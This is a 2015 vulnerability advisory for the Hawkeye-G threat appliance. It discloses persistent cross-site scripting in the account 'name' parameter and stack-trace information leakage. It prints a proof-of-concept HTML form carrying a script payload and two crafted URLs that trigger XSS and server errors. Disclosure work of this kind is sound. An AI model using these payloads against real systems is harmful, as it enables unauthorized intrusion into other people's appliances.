Hawkeye-G 3.0.1.4912 Cross Site Scripting / Information Leakage
Posted on 27 July 2015
[+] Credits: John Page ( hyp3rlinx ) [+] Domains: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-HAWKEYEG0725.txt Vendor: ================================ www.hexiscyber.com Product: ================================ Hawkeye-G v3.0.1.4912 Hawkeye G is an active defense disruptive technology that detects, investigates, remediates and removes cyber threats within the network. Vulnerability Type: ============================================= Persistent XSS & Server Information Leakage CVE Reference: ============== N/A Advisory Information: ===================================================================== Persistent XSS: --------------- Hexis cyber Hawkeye-G network threat appliance is vulnerable to persistent XSS injection when adding device accounts to the system. The appliance contains an endpoint sensor that collects client information to report back to the Hawkeye-G web interface. When adding device accounts to the system XSS payloads supplied to the vulnerable id parameter 'name' will be stored in database and executed each time certain threat appliance webpages are visited. Server Information Disclosure: ----------------------------- We can force internal server 500 errors that leak back end information's. Stack traces are echoed out to the end user instead of being suppressed this can give attackers valuable information into the system internals possibly helping attackers in crafting more specific types of attacks. Exploit code(s): =============== Persistent XSS: --------------- <form id="exploit" action=" https://localhost:8443/interface/rest/accounts/json" method="post"> <input type="text" name="human" value="true" /> <input type="text" name="name" value="<script>alert(666)</script>" /> <input type="text" name="domainId" value=""/> <input type="text" name="domain_id" value="" /> <input type="text" name="roving" value="false" /> </form> Accessing URL will execute malicious XSS stored in Hawkeye-G backend database. https://localhost:8443/interface/app/#/account-management vulnerable parameter: 'name' <input placeholder="Name" ng-model="record.name" id="name" class="formeditbox ng-pristine ng-invalid ng-invalid-required ng-touched" name="name" required="" ng-disabled="record.guid"> Server Information Leakage: --------------------------- These examples will result in 500 internal server error info disclosures: 1- https://localhost:8443/interface/rest/threatfeeds/pagedJson?namePattern=&page=0&size=25&sortCol=address&sortDir=%22/%3E%3Cscript%3Ealert%280%29%3C/script%3E 2- https://localhost:8443/interface/rest/mitigationWhitelist/paged?namePattern=WEB-INF/web.xml&page=0&size=0&source-filter= Disclosure Timeline: ========================================================= Vendor Notification: June 30, 2015 July 25, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] POST & GET Vulnerable Product: [+] Hawkeye-G v3.0.1.4912 Vulnerable Parameter(s): [+] name, namePattern, sortDir Affected Area(s): [+] Network Threat Appliance =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
